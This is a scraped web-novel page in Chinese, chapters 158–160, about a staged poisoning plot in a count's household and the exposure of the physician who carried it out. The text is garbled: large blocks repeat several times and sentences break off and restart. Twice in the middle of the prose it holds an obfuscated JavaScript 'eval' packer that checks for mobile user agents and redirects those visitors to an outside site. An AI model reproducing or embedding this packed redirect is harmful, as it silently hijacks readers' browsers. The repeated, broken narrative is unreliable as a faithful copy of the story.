随即,回头道:“许氏,今日回门宴是你安排的,孙姨娘**,你无论如何也脱不了干系,这伯府的中馈你不配再管,本伯要收回中馈之权!” 第158章 渣爹自乱阵脚,希望来了? 许素素一只手按着忍冬给她敷的冰帕子,缓缓转身,嘴角勾起一抹讽刺的笑。 “诸位都看见了吧,这就是谢家家主,满嘴胡言乱语,没有半分证据,就敢颠倒黑白,本夫人乃陛下册封的二品诰命夫人,岂容你在此诬陷!” 白蔹同样活学活用,抢了谢二小姐的话。 “文昌伯污蔑王妃的母亲,就是污蔑王妃,污蔑王妃,便是对王爷不敬,他今日敢打诰命夫人,明日,是不是就敢抗旨不遵?一人污蔑,谢家满门,也与他是一丘之貉。” 刚才还帮谢明安指责许素素的族中耆老,听到许素素和白蔹的话,立即面色大变,改了风向,还有人开始劝起谢明安来。 “打诰命夫人的是文昌伯,与我等可没有任何关系啊。” “伯夫人息怒,王爷息怒,伯爷也是急糊涂了。” “是啊,惩治内宅要讲证据,没有证据,谈什么收不收回中馈?伯爷不要伤了一家人的和气啊。” “明安,还是等京兆尹杜大人来了之后,再做定论也不迟。” 谢明安回头,瞪了几个见风使舵的族叔一眼:“证据,证据……孙药令,还不快给本伯找证据,仔细查验孙姨娘的饭菜,快!” “伯爷说得对,老夫这就查验!” 孙药令内心一紧,连忙应和。 表面上,他是从药箱里找出银针,准备试桌上的饭菜。 谢窈幽冷锐利的目光,却早已落在他身上,故意不说话。 宴席上的饭菜,没有任何相克的食物,母亲准备得万无一失。 孙姨娘那一桌饭菜,更没有毒。 原本要站出来指认母亲的芳儿,则被她关到了柴房。 没有证据,谢明安此刻已经自乱阵脚。 他只能,让孙药令主动下手。 “且慢!” 就在孙药令回到孙姨娘桌前,打算检验的时候,谢窈终于开口。 给了他希望,再断绝他的希望。 孙药令动作顿住,手抖得厉害,语气结巴:“王王王王妃有何吩咐?” 谢明安更是额头冒汗,眼神暴躁不安。 差一点,就差一点—— 谢窈缓步上前,瞥见孙药令手里的银针,淡淡道:“孙御医之前还说,自己擅长妇人科,何时精通验毒了,还能随时随地掏出一枚银针?” 谢明安道:“你懂什么,孙药令乃宫中御医,自然行事谨慎,即便这样,都防不胜防有些人的毒手,真是让本伯胆寒。” “ 文昌伯这么懂,要不,你去宫里伺候吧。”谢窈白了他一眼。 “孙姨娘还没胆寒呢,伯爷倒是先寒起来了,别等会周御医来了,还得先给你看看脑子。” “你——!” 谢明安原本见靖北王的人去请了京兆尹,已经内心急切,再听谢窈提到周御医,面色更是难看。 萧熠之道:“既然不是正经的验毒官,就不要在这里动手动脚。” “是啊,”白蔹附和,“孙姨娘是你亲女儿,这事你该避嫌,哪能自己动手验毒?不知道的,还以为你想栽赃陷害呢!” 孙药令脸色骤白:“你不要血口喷人,老夫身为医者,又是姨娘的父亲,当然更想替我女儿讨个公道!” 白蔹:“那你就等周御医来了,一起查验吧,也省得误诊了你女儿。” 孙药令还想说什么,可看见白蔹亮出的佩刀,他不敢再反驳,只能僵在原地,左右为难。 孙姨娘“哎呦”连连,扯了扯他的衣摆,她现在对到底哪道菜中有毒并不太在意,她更在乎的,是自己腹中胎儿。 “父亲,我究竟如何了……我的孩子……” 孙药令只好继续救治孙姨娘,又低声安抚,说她尚未脱离危险,但有自己在,她不必害怕。 谢明安额头的汗越冒越多。 京兆府距离伯府不远,周御医也不知何时会来,再找不到“证据”,不仅夺不回中馈,他殴打许氏的事闹到杜语堂面前,谢窈这死丫头也断然不会放过。 他死死盯着孙药令,眼神里满是催促。 连孙姨娘都注意到了他的眼神,内心一动,脑海中闪过什么,但很快被腹部的疼痛夺去了注意力。 而孙药令被谢窈和白蔹盯着,哪里找不到下手的机会,只能干着急。 这时,院门口传来一阵脚步声。 “姐姐,父亲母亲,后厨的人,我都带来了。” 众人循声望去,见谢宴走在前面,几名王府亲卫和府中护院,押着一众下人前来。 谢明安一眼就看见下人中的芳儿,眼睛瞬间亮了,心里的大石头落了地。 还好,芳儿来了。 只要她指认许氏,一切就都还来得及。 至于证据,芳儿只需要承认下毒,毒,自然是被孙姨娘吃了! 谢老夫人恬下老脸,道:“王爷,这到底是家事,可大可小,您与那……王妃也都是一家人,还是让伯爷在杜大人还没来之前,先问一问,万一真是自家人做出了丑事,也免得家丑外扬。 王爷悄然瞥了自家王妃一眼,没看出什么指示,却看见跟着小舅子进来的王府亲卫。 “问吧,本王还真是好奇,你们谢家还有什么稀奇的丑事。” 萧熠之语气好奇,其他谢家人的脸色则无比难看,敢怒不敢言。 谢宴走到谢窈身旁,看到许素素捂着帕子的脸,眼神一冷。 “母亲是二品诰命夫人,父亲怎能为了一个妾室,如此折辱她。”他沉声道,目光落在孙姨娘身上,眼底闪过一抹幽光。 谢明安恢复了威严模样:“为父只是一时冲动,再说,文昌伯府什么时候轮到你来教训本伯了。” 他原本看见谢宴带来芳儿,十分满意,但见这儿子刚来,就站到许素素和谢窈那边,他顿时心生不满。 到底是有一半许氏血脉的儿子,从前是个不争气的纨绔,好歹还算听话,如今谢窈回来,他眼中就全然没了自己这个父亲,简直和谢窈一样,是个养不熟的白眼狼。 只可叹他人至中年,只有孙姨娘能给他生下第二个儿子。 护院首领蒋四上前,对着这些下人询问:“今日孙姨娘的饭菜是谁负责的?老实交代,谁在菜里动了手脚?” 说着,他发现了抖若筛糠的芳儿。 “那奴婢怎么回事,为何躲在后面畏畏缩缩!”谢明安更是指着芳儿,大吼道。 王爷悄然瞥了自家王妃一眼,没看出什么指示,却看见跟着小舅子进来的王府亲卫。 “问吧,本王还真是好奇,你们谢家还有什么稀奇的丑事。” 萧熠之语气好奇,其他谢家人的脸色则无比难看,敢怒不敢言。 谢宴走到谢窈身旁,看到许素素捂着帕子的脸,眼神一冷。 “母亲是二品诰命夫人,父亲怎能为了一个妾室,如此折辱她。”他沉声道,目光落在孙姨娘身上,眼底闪过一抹幽光。 谢明安恢复了威严模样:“为父只是一时冲动,再说,文昌伯府什么时候轮到你来教训本伯了。” 他原本看见谢宴带来芳儿,十分满意,但见这儿子刚来,就站到许素素和谢窈那边,他顿时心生不满。 到底是有一半许氏血脉的儿子,从前是个不争气的纨绔,好歹还算听话,如今谢窈回来,他眼中就全然没了自己这个父亲,简直和谢窈一样,是个养不熟的白眼狼。 只可叹他人至中年,只有孙姨娘能给他生下第二个儿子。 护院首领蒋四上前,对着这些下人询问:“今日孙姨娘的饭菜是谁负责的?老实交代,谁在菜里动了手脚?” 说着,他发现了抖若筛糠的芳儿。 “那奴婢怎么回事,为何躲在后面畏畏缩缩!”谢明安更是指着芳儿,大吼道。 王爷悄然瞥了自家王妃一眼,没看出什么指示,却看见跟着小舅子进来的王府亲卫。 “问吧,本王还真是好奇,你们谢家还有什么稀奇的丑事。” 萧熠之语气好奇,其他谢家人的脸色则无比难看,敢怒不敢言。 谢宴走到谢窈身旁,看到许素素捂着帕子的脸,眼神一冷。 “母亲是二品诰命夫人,父亲怎能为了一个妾室,如此折辱她。”他沉声道,目光落在孙姨娘身上,眼底闪过一抹幽光。 谢明安恢复了威严模样:“为父只是一时冲动,再说,文昌伯府什么时候轮到你来教训本伯了。” 他原本看见谢宴带来芳儿,十分满意,但见这儿子刚来,就站到许素素和谢窈那边,他顿时心生不满。 到底是有一半许氏血脉的儿子,从前是个不争气的纨绔,好歹还算听话,如今谢窈回来,他眼中就全然没了自己这个父亲,简直和谢窈一样,是个养不熟的白眼狼。 只可叹他人至中年,只有孙姨娘能给他生下第二个儿子。 护院首领蒋四上前,对着这些下人询问:“今日孙姨娘的饭菜是谁负责的?老实交代,谁在菜里动了手脚?” 说着,他发现了抖若筛糠的芳儿。 “那奴婢怎么回事,为何躲在后面畏畏缩缩!”谢明安更是指着芳儿,大吼道。 王爷悄然瞥了自家王妃一眼,没看出什么指示,却看见跟着小舅子进来的王府亲卫。 “问吧,本王还真是好奇,你们谢家还有什么稀奇的丑事。” 萧熠之语气好奇,其他谢家人的脸色则无比难看,敢怒不敢言。 谢宴走到谢窈身旁,看到许素素捂着帕子的脸,眼神一冷。 “母亲是二品诰命夫人,父亲怎能为了一个妾室,如此折辱她。”他沉声道,目光落在孙姨娘身上,眼底闪过一抹幽光。 谢明安恢复了威严模样:“为父只是一时冲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16241154|181036||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动,再说,文昌伯府什么时候轮到你来教训本伯了。” 他原本看见谢宴带来芳儿,十分满意,但见这儿子刚来,就站到许素素和谢窈那边,他顿时心生不满。 到底是有一半许氏血脉的儿子,从前是个不争气的纨绔,好歹还算听话,如今谢窈回来,他眼中就全然没了自己这个父亲,简直和谢窈一样,是个养不熟的白眼狼。 只可叹他人至中年,只有孙姨娘能给他生下第二个儿子。 护院首领蒋四上前,对着这些下人询问:“今日孙姨娘的饭菜是谁负责的?老实交代,谁在菜里动了手脚?” 说着,他发现了抖若筛糠的芳儿。 “那奴婢怎么回事,为何躲在后面畏畏缩缩!”谢明安更是指着芳儿,大吼道。 王爷悄然瞥了自家王妃一眼,没看出什么指示,却看见跟着小舅子进来的王府亲卫。 “问吧,本王还真是好奇,你们谢家还有什么稀奇的丑事。” 萧熠之语气好奇,其他谢家人的脸色则无比难看,敢怒不敢言。 谢宴走到谢窈身旁,看到许素素捂着帕子的脸,眼神一冷。 “母亲是二品诰命夫人,父亲怎能为了一个妾室,如此折辱她。”他沉声道,目光落在孙姨娘身上,眼底闪过一抹幽光。 谢明安恢复了威严模样:“为父只是一时冲动,再说,文昌伯府什么时候轮到你来教训本伯了。” 他原本看见谢宴带来芳儿,十分满意,但见这儿子刚来,就站到许素素和谢窈那边,他顿时心生不满。 到底是有一半许氏血脉的儿子,从前是个不争气的纨绔,好歹还算听话,如今谢窈回来,他眼中就全然没了自己这个父亲,简直和谢窈一样,是个养不熟的白眼狼。 只可叹他人至中年,只有孙姨娘能给他生下第二个儿子。 护院首领蒋四上前,对着这些下人询问:“今日孙姨娘的饭菜是谁负责的?老实交代,谁在菜里动了手脚?” 说着,他发现了抖若筛糠的芳儿。 “那奴婢怎么回事,为何躲在后面畏畏缩缩!”谢明安更是指着芳儿,大吼道。 王爷悄然瞥了自家王妃一眼,没看出什么指示,却看见跟着小舅子进来的王府亲卫。 “问吧,本王还真是好奇,你们谢家还有什么稀奇的丑事。” 萧熠之语气好奇,其他谢家人的脸色则无比难看,敢怒不敢言。 谢宴走到谢窈身旁,看到许素素捂着帕子的脸,眼神一冷。 “母亲是二品诰命夫人,父亲怎能为了一个妾室,如此折辱她。”他沉声道,目光落在孙姨娘身上,眼底闪过一抹幽光。 谢明安恢复了威严模样:“为父只是一时冲动,再说,文昌伯府什么时候轮到你来教训本伯了。” 他原本看见谢宴带来芳儿,十分满意,但见这儿子刚来,就站到许素素和谢窈那边,他顿时心生不满。 到底是有一半许氏血脉的儿子,从前是个不争气的纨绔,好歹还算听话,如今谢窈回来,他眼中就全然没了自己这个父亲,简直和谢窈一样,是个养不熟的白眼狼。 只可叹他人至中年,只有孙姨娘能给他生下第二个儿子。 护院首领蒋四上前,对着这些下人询问:“今日孙姨娘的饭菜是谁负责的?老实交代,谁在菜里动了手脚?” 说着,他发现了抖若筛糠的芳儿。 “那奴婢怎么回事,为何躲在后面畏畏缩缩!”谢明安更是指着芳儿,大吼道。 王爷悄然瞥了自家王妃一眼,没看出什么指示,却看见跟着小舅子进来的王府亲卫。 “问吧,本王还真是好奇,你们谢家还有什么稀奇的丑事。” 萧熠之语气好奇,其他谢家人的脸色则无比难看,敢怒不敢言。 谢宴走到谢窈身旁,看到许素素捂着帕子的脸,眼神一冷。 “母亲是二品诰命夫人,父亲怎能为了一个妾室,如此折辱她。”他沉声道,目光落在孙姨娘身上,眼底闪过一抹幽光。 谢明安恢复了威严模样:“为父只是一时冲动,再说,文昌伯府什么时候轮到你来教训本伯了。” 他原本看见谢宴带来芳儿,十分满意,但见这儿子刚来,就站到许素素和谢窈那边,他顿时心生不满。 到底是有一半许氏血脉的儿子,从前是个不争气的纨绔,好歹还算听话,如今谢窈回来,他眼中就全然没了自己这个父亲,简直和谢窈一样,是个养不熟的白眼狼。 只可叹他人至中年,只有孙姨娘能给他生下第二个儿子。 护院首领蒋四上前,对着这些下人询问:“今日孙姨娘的饭菜是谁负责的?老实交代,谁在菜里动了手脚?” 说着,他发现了抖若筛糠的芳儿。 “那奴婢怎么回事,为何躲在后面畏畏缩缩!”谢明安更是指着芳儿,大吼道。 第159章 丫鬟反水,姨娘自导自演? 不止是蒋四和谢明安,其他人也发现了芳儿的不对劲。 太明显了,一群下人中,就她一副害怕得随时会晕过去的样子,还时不时偷瞥小伯爷。 听到文昌伯怒吼,芳儿连忙把头埋下,一动不敢动。 蒋四直接挤进下人堆,把她单独提出来:“你,就是你,抬起头来,这副样子,难不成是心里有鬼? 芳儿浑身颤抖,“噗通一声跪倒在地,声音细若蚊蚋:“蒋护院饶命……伯爷饶命。 “你是什么人?谢明安呼吸急促了几分,迫切地追问。 后厨管事回话:“回伯爷,她是前些日子调到后厨帮工的丫鬟,叫芳儿。 许素素忽然道:“芳儿?我记得,你以前是孙姨娘院里的。 孙姨娘也认了出来。 上个月,她本打算将芳儿送给谢枝做陪嫁丫鬟,这丫头却说自己宁愿做伯府的烧火丫头,也不去安平侯府的外宅,气得她把她赶出了院子。 幸好伯爷及时派来几个新丫鬟照看她,每个都办事尽心稳妥,让她很满意。 怎么是芳儿? 孙姨娘转身,看了自己身边丫鬟一眼,心里有种不祥的预感。 谢明安盯着芳儿,语气温和下来:“芳儿,不要害怕,跟本伯说,是不是有人逼你在姨娘的饭菜里动手脚?只要你说实话,本伯和孙姨娘不会怪你。 他的呼吸越发粗重,只要芳儿指认许氏,有了人证,就算许素素有诰命在身,就算一会儿杜语堂来了,她也逃不了干系! 待他拿回中馈之权,许氏有错在先,许家的陪嫁,还有谢窈的产业,就都是他的了! 芳儿浑身颤抖地抬起头,望向谢宴。 谢窈顺着她的目光,瞥了自己弟弟两眼。 谢宴立即露出粲然笑容:“姐姐,怎么了? 谢窈摇头,没有说话。 她好像猜到,弟弟是怎么跟芳儿问话的了。 芳儿看见小伯爷唇角的笑,以为那抹笑容是对自己绽放的,耳根一热,终于说道:“确实有人指使奴婢,让奴婢在孙姨娘的饭食中下毒! “快说,指使你的人是谁!谢明安内心按捺不住狂喜,他往前凑了凑,压低声音,却故意让周围人听见。 一时之间,饭厅里的人窃窃私语,目光时不时瞟向许素素。 孙姨娘怀有身孕,文昌伯又子嗣单薄,万一诞下儿子,便是伯夫人最大的威胁。 何况,今日的回门宴,本就是伯夫人准备的。 你的朋友正在书荒,快去帮帮他吧 谢老夫人更是沉着脸,跃跃欲试,只等芳儿指认许氏后,不但要助儿子夺回中馈之权,说不定,还能趁机让儿子将这个毒妇休掉! 许素素则面色淡漠,没有半分慌张。 众人盯着芳儿,等待她说出幕后主使之人的名字,饭厅都落针可闻。 连白蔹等不知情的人,都屏住呼吸,有些紧张。 下一刻,在谢明安亢奋的目光中,芳儿膝行两步,朝着许素素磕头。 “王爷,王妃,伯夫人,奴婢错了,奴婢不敢下毒,是孙姨娘,她让我承认在她汤中下毒,事后,还要我说是受伯夫人指使! “什么?! 谢明安脸上的笑,瞬间僵住。 他怀疑自己的耳朵出了问题。 说好了指认许氏的丫鬟,怎会改口! 他踉跄着后退一步,咆哮:“胡说八道!孙姨娘让你害她自己?你这贱婢是不是疯了! “奴婢不敢胡说! 芳儿哭得更凶,却字字清晰。 “前几日,孙姨娘往奴婢屋里送去五十两银子和一封信,让我在王妃回门宴上,承认给她下毒,然后说是伯夫人逼我的,那,那封信还在奴婢屋里!银子也在! “奴婢万万不敢下毒,孙姨娘信上也没说让奴婢下毒,还说之后会宽恕奴婢,奴婢才一时糊涂! 满厅哗然,族叔们全都面色苍白,谢老夫人张着嘴说不出话。 二房夫人忽然福至心灵,嘀咕了一声:“莫不是,一切都是孙姨娘自造事端,演的? 孙姨娘也呆住了,看了看芳儿,她迅速反应过来,强撑身子坐起来,强行为自己分辨:“妾身没有! 谢窈往前一步,看着脸色惨白的孙姨娘,语气平静:“芳儿说她没下毒,可孙姨娘确实中了毒,那这毒,除了她自己喂给自己吃了,还有谁能给下? 孙姨娘浑身一震,脑海中响起闷雷。 她很快就想明白了。 孙姨娘扫过自己那桌饭菜,然后,缓缓看向站在一旁,不知何时已经停止医治,脸色煞白的父亲孙药令。 伯爷和父亲一声声关心的话语,在她脑海中回响。 “伯爷,妾身父亲怎么进府了? “自然是为你安胎。 “这是为父照着你身子配的安胎药,以后每日都得让人煎服了,一直用到六个月,老夫再配新的。 “怎么不喝?多大的人了,难不成怕苦? 难怪父亲进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16249615|181036||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府后,第一件事是去找伯爷,难 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 怪父亲总是避开自己眼神。 难怪她虽然一开始腹痛难忍,口吐鲜血,可被父亲三两下救治后,此刻只剩下虚弱。 有毒的,是那碗安胎药! 孙姨娘的心中,再次升起那日得知伯爷要害死谢枝时,那毛骨悚然的感觉。 而这次,比之前更甚! “不……不可能……”孙姨娘摇着头,声音嘶哑。 孙药令眼神慌乱,双手不自觉地攥紧。 二房夫人感叹:“怪不得孙姨娘被孙药令随便喂了一口药,就没事了,也没流血也没见红,我还以为是孙药令医术高明,原来是她自己下的毒,当然不会有事!” 谢宴眯起眸子,却忽然想到,事情,不能只是这么进行。 “来人,去芳儿住的地方,把银子和信都搜出来!”他突然吩咐几个下人,少年的声音清越冷厉。 芳儿的眼神慌了一下,她明明已经将那五十两托人捎回家里,此刻房间哪还有银两? 但看见小伯爷胸有成竹的样子,她又放下心来。 谢窈看向孙药令,不紧不慢地开口:“既然是孙姨娘自演自谋,定然有解药,才不会真的让她一尸两命,只需查看孙药令的药箱内有无对症解药,一搜便知。” 孙药令的脸色已经惨白如纸,下意识往后退了一步。 王府亲卫上前,他慌乱地跪下:“王妃,下官乃御医,药箱内装的是宫中药物,事关宫中主子们的身子情况,您,您不能搜啊!” “王妃不能搜,那本官呢?” 一道洪亮声音传来。 京兆尹杜语堂身着绛紫官服,外罩深色大氅,冒着大雪,走了进来。 他领着一队京兆府的官差,还有他手下的司法参军。 杜大人身旁,则是带着周御医赶来的白术。 一起跟在后面的,是早早被谢窈派出王府的许长思,领着一个佝偻老头,悄无声息地出现。 长思和谢窈点了点头,随后,就和老头一样,悄悄走到谢窈身后。 两人都目不转睛地望着许素素。 许素素注意到这两道视线,她不认识长思,但侧头看见老头之后,微微一怔。 几人身上湿着,满身寒气。 外面,正在下今年冬天最大的一场雪。 大雪消融之时,任何罪孽,都会随之显现。 第160章 渣爹弃车保帅,孙姨娘觉悟 杜语堂三十出头,面容平和,他先是对王爷和谢窈拱手行礼:“下官见过王爷王妃,还未恭贺二位新婚之喜。” 随即,他转向跪在地上的孙药令,语气沉下去,带着官威: “本官在来的路上已经知晓了事情原委,事关诰命夫人清白,本官有查案之责,别说是孙大人的药箱,就算是尚药局的库房,只要有嫌疑,本官也有权查验。” 孙药令嘴唇哆嗦着,说不出话来。 京兆尹乃朝廷命官,调查京中案件,他哪能再说什么。 周御医更是没等人吩咐,就机智地上前,主动替孙姨娘把脉。 “姨娘刚**时,是什么感觉?”他问道。 “腹痛难忍。” 孙姨娘面色悲戚地回答。 “搜!” 旁边的司法参军一声令下,两名官差一左一右架起孙药令,给他搜身,另外两名则打开他的药箱,将所有东西倒在铺好的白布上。 看上去,都是些药包,药材,瓶瓶罐罐。 很快,司法参军从孙药令袖中找出一包藏起来的纸包,里面是一些药粉:“这是何物?” 孙药令颤声道:“只,只是寻常的药粉。” 杜语堂:“周御医,劳烦你看一看,这些药有何问题?” 周御医依次查验后,拿起其中一个白瓷瓶,倒出里面的药丸,又捻了捻药包里的粉末。 “大人,下官不敢隐瞒,孙姨娘是服用了一种和红花相似的药物,而此药丸,正是解药!”周御医大声道。 “和红花相似?”二房夫人疑惑地问,目光落到孙姨娘的腹部,“那到底是不是红花?” 周御医解释道:“非也,下官给孙姨娘把脉,确定她已无大碍。” “她中的毒,应该和去岁宫里一位怀孕的娘娘,诬陷嘉妃娘娘推自己,用的药物相似,咳咳,但那位后来真的小产了,已经被打入冷宫。” 他望着孙药令,表面严肃,但语气难掩幸灾乐祸。 “这种毒初服时,的确会让人腹痛难忍,口涌鲜血,症状与用了红花相似,实则只是看着凶险,只要及时服用解药,半个时辰就能缓解,绝不会伤及性命,那位正因服用解药不及时,才假的变成了真的。” 周御医特意提醒京兆尹:“下官记得那位娘娘事情败露,还是被孙药令发现的。” 他高兴坏了,他就说给王爷把脉,是好事吧。 自己医术确实一般,但抓住尚药令在宫外下毒的事,可是大功一件啊。 杜语堂脸色发沉:“孙药令乃孙姨娘之父,如此说来,一切是孙姨娘自谋自演。” 孙姨娘却通红着双眼,盯着孙药令:“爹,为什么,你为什么要害我?!” 孙药令不敢看自己女儿的眼神,他已经后悔了。 孙姨娘挣扎着爬起来,却被腹部的疼痛扯得倒在地上,泪流满面地仰头,悲愤交加。 “妾冤枉,妾这么可能自己给自己下毒!怎么舍得自己给腹中的孩子下毒,这是我的命啊!” “御医既然说了,没有服用解药就会真的小产,一个母亲,怎么舍得害自己孩子!” “还有那个丫鬟!” 孙姨娘又指向芳儿。 “自从我将她赶出院子,就再也没见过她,如何能指使她指认伯夫人?” 孙药令埋着头,欲言又止。 芳儿则说:“姨娘确实没有再见过奴婢,但你给奴婢写了信件,还留了银子,除了你,还有谁知道奴婢识字?” 杜大人听到这话,内心微微一动,询问:“信件如今在何处?” 谢宴淡声道:“回禀大人,我已经派人,去这丫鬟住处搜找。” 谢明安站在一旁,听着孙姨娘的辩解,心中越发慌乱。 杜语堂来了,周御医又拿出了铁证,要是孙姨娘心有不甘,胡乱攀咬…… 他本想让孙姨娘毫不知情的情况下,成为自己手里最锋利的刀,可事已至此,他只能弃车保帅。 幸好孙姨娘是个聪明人,她应该已经明白了事情原委,还会顺着自己的心意,乖顺的服从。 谢明安咬了咬牙,上前一步,指着孙姨娘怒骂:“好你个毒妇,竟敢含血喷人,勾结你爹,自谋自演这种狠毒之事,本伯真是瞎了眼,没看出你的诡计!” 孙姨娘浑身彻底僵住。 厅里炭火烧得那样旺,她却感觉,谢明安从骨子里渗出**般的冷,让她如坠冰窟。 谢明安瞥了一眼蒋四,表面看着孙姨娘,实则,幽幽地盯着她身后一名服侍丫鬟:“说,你何时何地,派人收买芳儿的?” 孙姨娘还愣怔着,蒋四就上前,抓住丫鬟扔出来。 “你是孙姨娘的贴身丫鬟,事已败露,还不老实交代!” 丫鬟惨叫一声,她是被蒋护院选了伺候监视孙姨娘的,哪知道什么芳儿的事。 可伯府谁不怕蒋四?她一家人的性命,都捏在蒋护院手里。 丫鬟用力地磕了几下头,霎时间,额下鲜红一片。 “是孙姨娘写了一 封信,给了奴婢五十两银子,让奴婢放到芳儿屋里,芳儿本就是孙姨娘院里的下人,故意被她赶走的,奴婢知错了,求伯爷恕罪!” 说到最后,她竟然磕着头,把自己磕晕了。 这下,人证物证俱在,孙姨娘再也无法反驳。 孙姨娘喃喃道:“我既然是故意赶走了她,何必写一封信,给自己留下把柄?” 没有人再听她的话了。 忽然,她一阵恶心反胃,连忙爬起来,“呕”地一声呕吐起来。 谢明安见丫鬟站出来配合,满意地松了一口气。 他转向许素素,脸上浮现出愧疚与关切,甚至还想上前,拉住她的手。 “夫人,是我糊涂,被这毒妇欺骗,还动手打了你,我真是对不住你!” 他沉声道:“夫人放心,今日之事,本伯一定让杜大人秉公处理,绝不让你受半点委屈!” 谢明安暗道,他当然会让杜语堂秉公处理。 既然一切是孙馨兰自谋自演,那秉公处理又如何! 许素素厌恶地避开他的手:“谢明安,别演戏了,连孙馨兰都吐了,你自己不恶心吗。” 谢明安脸色一僵,但很快恢复自然。 杜语堂则盯着孙药令:“孙药令,你还有什么要解释的?” 孙药令看了看面如死灰的孙姨娘,老泪纵横:“伯爷,老夫是为了——” 谢明安大吼一声,打断他的话: “孙氏,本伯待你不薄,你一个妾室,能执掌中馈十几年,你有孕在身,本伯为你请你父亲入府安胎,还派了这么多丫鬟照顾你,你竟然伙同你父亲,诬陷本伯的夫人!” 孙姨娘吐完了,看着谢明安翻脸比翻书还快的样子,还是恶心。 她不吼了,也不哭了,坐在地上,眼神空洞,嘴角勾起一抹自嘲的笑。 “你笑什么?”谢明安问道,死死地盯着她,“孙氏,你可知罪。” 这一幕,何其熟悉。 孙姨娘还记得当初,许素素那陪嫁嬷嬷的死,也被谢明安推到了自己身上。 她终于看明白了,伯爷,不,谢明安心里根本没有自己。 他要演戏,为了戏的逼真,不惜让自己父亲给自己下药。 用信联络芳儿,还在自己身边安插丫鬟,是等事情一旦暴露,她就要为谢明安背下所有黑锅! 谢枝是谢明安用来斗谢窈的一把刀,刀顿了,可以毫不犹豫地舍弃掉。 两处宅院,比她女儿的一辈子还重要。 孙姨娘本以为,自己和谢明安二十年的感情,即便她只是个妾室,伯爷待她也是不同的。 可实际上,她不过也是谢明安用来斗许素素的一把刀。 她和女儿,在这个男人眼中,没什么区别。 或许唯一的区别是,她腹中怀有谢明安的孩子,不能真的**。 “是,是我做的。” 孙姨娘轻声道,声音平静的可怕。 谢窈望着她,心道:孙馨兰,你可千万不要让我失望。 封信,给了奴婢五十两银子,让奴婢放到芳儿屋里,芳儿本就是孙姨娘院里的下人,故意被她赶走的,奴婢知错了,求伯爷恕罪!” 说到最后,她竟然磕着头,把自己磕晕了。 这下,人证物证俱在,孙姨娘再也无法反驳。 孙姨娘喃喃道:“我既然是故意赶走了她,何必写一封信,给自己留下把柄?” 没有人再听她的话了。 忽然,她一阵恶心反胃,连忙爬起来,“呕”地一声呕吐起来。 谢明安见丫鬟站出来配合,满意地松了一口气。 他转向许素素,脸上浮现出愧疚与关切,甚至还想上前,拉住她的手。 “夫人,是我糊涂,被这毒妇欺骗,还动手打了你,我真是对不住你!” 他沉声道:“夫人放心,今日之事,本伯一定让杜大人秉公处理,绝不让你受半点委屈!” 谢明安暗道,他当然会让杜语堂秉公处理。 既然一切是孙馨兰自谋自演,那秉公处理又如何! 许素素厌恶地避开他的手:“谢明安,别演戏了,连孙馨兰都吐了,你自己不恶心吗。” 谢明安脸色一僵,但很快恢复自然。 杜语堂则盯着孙药令:“孙药令,你还有什么要解释的?” 孙药令看了看面如死灰的孙姨娘,老泪纵横:“伯爷,老夫是为了——” 谢明安大吼一声,打断他的话: “孙氏,本伯待你不薄,你一个妾室,能执掌中馈十几年,你有孕在身,本伯为你请你父亲入府安胎,还派了这么多丫鬟照顾你,你竟然伙同你父亲,诬陷本伯的夫人!” 孙姨娘吐完了,看着谢明安翻脸比翻书还快的样子,还是恶心。 她不吼了,也不哭了,坐在地上,眼神空洞,嘴角勾起一抹自嘲的笑。 “你笑什么?”谢明安问道,死死地盯着她,“孙氏,你可知罪。” 这一幕,何其熟悉。 孙姨娘还记得当初,许素素那陪嫁嬷嬷的死,也被谢明安推到了自己身上。 她终于看明白了,伯爷,不,谢明安心里根本没有自己。 他要演戏,为了戏的逼真,不惜让自己父亲给自己下药。 用信联络芳儿,还在自己身边安插丫鬟,是等事情一旦暴露,她就要为谢明安背下所有黑锅! 谢枝是谢明安用来斗谢窈的一把刀,刀顿了,可以毫不犹豫地舍弃掉。 两处宅院,比她女儿的一辈子还重要。 孙姨娘本以为,自己和谢明安二十年的感情,即便她只是个妾室,伯爷待她也是不同的。 可实际上,她不过也是谢明安用来斗许素素的一把刀。 她和女儿,在这个男人眼中,没什么区别。 或许唯一的区别是,她腹中怀有谢明安的孩子,不能真的**。 “是,是我做的。” 孙姨娘轻声道,声音平静的可怕。 谢窈望着她,心道:孙馨兰,你可千万不要让我失望。 封信,给了奴婢五十两银子,让奴婢放到芳儿屋里,芳儿本就是孙姨娘院里的下人,故意被她赶走的,奴婢知错了,求伯爷恕罪!” 说到最后,她竟然磕着头,把自己磕晕了。 这下,人证物证俱在,孙姨娘再也无法反驳。 孙姨娘喃喃道:“我既然是故意赶走了她,何必写一封信,给自己留下把柄?” 没有人再听她的话了。 忽然,她一阵恶心反胃,连忙爬起来,“呕”地一声呕吐起来。 谢明安见丫鬟站出来配合,满意地松了一口气。 他转向许素素,脸上浮现出愧疚与关切,甚至还想上前,拉住她的手。 “夫人,是我糊涂,被这毒妇欺骗,还动手打了你,我真是对不住你!” 他沉声道:“夫人放心,今日之事,本伯一定让杜大人秉公处理,绝不让你受半点委屈!” 谢明安暗道,他当然会让杜语堂秉公处理。 既然一切是孙馨兰自谋自演,那秉公处理又如何! 